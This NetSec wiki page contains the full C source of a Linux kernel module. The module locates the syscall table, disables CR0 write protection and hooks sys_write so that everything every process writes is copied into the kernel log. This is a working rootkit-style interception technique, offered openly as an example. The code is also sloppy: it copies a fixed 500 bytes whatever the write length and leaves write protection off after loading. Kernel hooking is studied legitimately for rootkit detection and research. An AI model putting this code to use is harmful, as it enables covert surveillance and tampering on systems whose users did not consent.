Questions about this topic? Sign up to ask in the talk tab.

LKM/syscall.c

From NetSec
Jump to: navigation, search
 
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/uaccess.h> //just used for the copy_from_user() function
#include <linux/kallsyms.h> //needed to access /proc/kallsyms
#include <linux/unistd.h> //needed for the __NR_{syscall} macro
 
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Dade Murphy");
MODULE_DESCRIPTION("An example of a syscall-hooker that prints anything used with sys_write.");
MODULE_VERSION("0.1");
 
static unsigned long *syscall_table;
//used to store the syscall table after we read it
 
asmlinkage int (*original_write)(unsigned int, const char __user *, size_t);
//this definition comes from fs/read_write.c, we use it to map the original function
 
asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count)
{
	//we use this function hook sys_write
	//again the datatype and parameters come from fs/read_write.c
	static char data[500] = {0};
	copy_from_user(data, buf, 500);
	printk(KERN_INFO "A process tried to write: %s\n", data);
	return (*original_write)(fd, buf, count);
}
 
static int __init myModule_init(void)
{
	syscall_table = (unsigned long *) kallsyms_lookup_name("sys_call_table");
	printk(KERN_INFO "Found the syscall table at 0x%lx\n", syscall_table);
 
	write_cr0(read_cr0() & (~0x10000));
	printk(KERN_INFO "Successfully disabled page write-protection >:D\n");
 
	printk(KERN_INFO "If all went well, then the write syscall is at 0x%lx\n", syscall_table[4]);
	original_write = (void *) syscall_table[4];
	syscall_table[4] = new_write;
	return 0;
}
 
module_init(myModule_init);
 
static void __exit myModule_exit(void)
{
	//clean up the cr0 register and restore the syscall table
	write_cr0(read_cr0() & (~0x10000));
	syscall_table[4] = original_write;
	write_cr0(read_cr0() | (0x10000));
	printk(KERN_INFO "page write protection re-enabled...\n");
	printk(KERN_INFO "sys_write has been successfully unhooked!\n");
	return;
}
 
module_exit(myModule_exit);